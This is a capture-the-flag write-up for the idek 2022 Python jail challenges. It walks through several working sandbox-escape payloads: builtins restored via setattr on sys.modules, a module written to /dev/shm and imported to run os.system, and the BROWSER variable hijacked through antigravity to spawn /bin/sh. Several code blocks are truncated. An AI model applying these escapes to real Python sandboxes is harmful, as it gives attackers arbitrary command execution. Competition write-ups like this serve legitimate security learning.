idek 2022* CTF Pyjail && Pyjail Revenge Writeup
idek 2022* CTF Pyjail && Pyjail Revenge Writeup
Pyjail:
The code looks like this
1 | blocklist = ['.', '\\', '[', ']', '{', '}',':'] |
There is a blocklist ban off '.' , '\\', '[', ']', '{', '}', ':'
. Then there is a DISABLE_FUNCTIONS
that registers None objects for 'getattr', 'eval', 'exec', 'breakpoint', 'lambda', 'help'
and overrides the corresponding functions in __builtins__
. Also, the file name is jail.py
, and the one in docker is also jail, so you can use __import__('jail')
, but you may have to type it twice, so it’s better to use __import__(__main__)
.
Also flag sets permission not to read directly and then gives a readflag, called with the argument /readflag giveflag
Also, this question can be executed in multiple lines, so you can do something like emptying the blocklist as follows
1 | welcome! |
There is of course a second version that uses __import__('jail')
to load, but it seems to have to be exploited twice
1 | welcome! |
Pyjail Revenge:
Not solved during the game Repeated after the game
The difference between the Revenge version and the normal version is that blocklist adds blocklist
, globals
and compile
1 | blocklist = ['.' , '\\', '[', ']', '{', '}', ':', "blocklist", "globals", "compile"] |
You can only enter one line at a time, not multiple times, so the previous solution does not work at the moment. However, the following versions can be tried
Method 1 remove overlay:
DISABLE_FUNCTIONS
registers the None objects of "getattr", "eval", "exec", "breakpoint", "lambda", "help"
and overrides the corresponding functions in its __builtins__
, so just delete the overridden global variables OK
The global variable can pass globals()
, vars()
, locals()
, etc. Of course, it can also bypass the blocklist in the form of unicode, such as globals
, so that the function in DISABLE_FUNCTIONS
can be deleted and then called.
For example, first use setattr
to cover __dict__
of some useless classes with globals()
, vars()
, locals()
, then delete
those ISABLE_FUNCTIONS
through delattr, and then call
For example:vars()
, locals()
can be used
Override copyright and call the breakpoint function
1 | welcome! |
Override the license to call the breakpoint function
1 | welcome! |
The parameters related to coverage can be found in these:
https://github.com/python/cpython/blob/c5660ae96f2ab5732c68c301ce9a63009f432d93/Lib/site.py#L400-L426quit,copyright,exit,license,credits
Of course, because of this version, he is such a startup parameter
1 | ENTRYPOINT socat \ |
So you can also delete help() and then use help() to rce again, but the remote environment may have some restrictions that may cause /tmp to disappear, /tmp is unreadable, but it can work locally
1 | welcome! |
Method 2 Modify sys.path, write the file and then import:
It consists of the following parts
- Overwrite the property of
sys.path
through setattr, covering it as writable/dev/shm
- Then pass the file parameter of the print function https://blog.csdn.net/no_giveup/article/details/72017925, and then use open to open and write.
.
will be Replaced withchr(46)
- Use
__import__
to load the written file name, and then execute the code
which are respectively
setattr(__import__("sys"), "path", list(("/dev/shm/",)))
print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w"))
__import__("exp")
final payload:
1 | (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp")) |
result:
1 | welcome! |
Of course, it should be caused by environmental problems. The /tmp of the remote environment is read-only, but it should be writable. If the above path is writable in tmp, the relevant payload can also be completed.
Method 3 antigravity hijacks the BROWSER environment variable:
And antigravity can be seen from here https://towardsdatascience.com/7-easter-eggs-in-python-7765dc15a203
This solution comes from the author’s expected solution. This question is very interesting. Use setattr to overwrite the environment variable BROWSER in os.environ so that it can be executed. Track it
https://github.com/python/cpython/blob/main/Lib/antigravity.py
1 | import webbrowser |
Found that it called webbrowser
, continue to track
You can see from here that there is register_standard_browsers
in the open function
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L84
1 | def open(url, new=0, autoraise=True): |
Continue to track register_standard_browsers
to find that it checks the BROWSER
environment variable in os.environ
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L585
1 | if "BROWSER" in os.environ: |
Where GenericBrowser
can run cmdline
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L181
1 | class GenericBrowser(BaseBrowser): |
final exp:
1 | __import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s'))) |
Method 4 Let __import__
load getattr to take effect by restoring sys.modules:
Since __import__
will first look for sys.modules
https://github.com/python/cpython/blob/48ec678287a3be1539823fa3fc0ef457ece7e1c6/Lib/importlib/_bootstrap.py#L1101 when loading, you can first override sys.modules
by setattr
__builtins__
, so that __import__
can call getattr
. Through getattr
, os.system
can be loaded. Since it is banned, you can use __import__('os'), 'system'
, and then pass the parameter 'sh'
.
1 | setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh') |
end
Thanks to lrh2000,UnblvR,maple3142 help for this article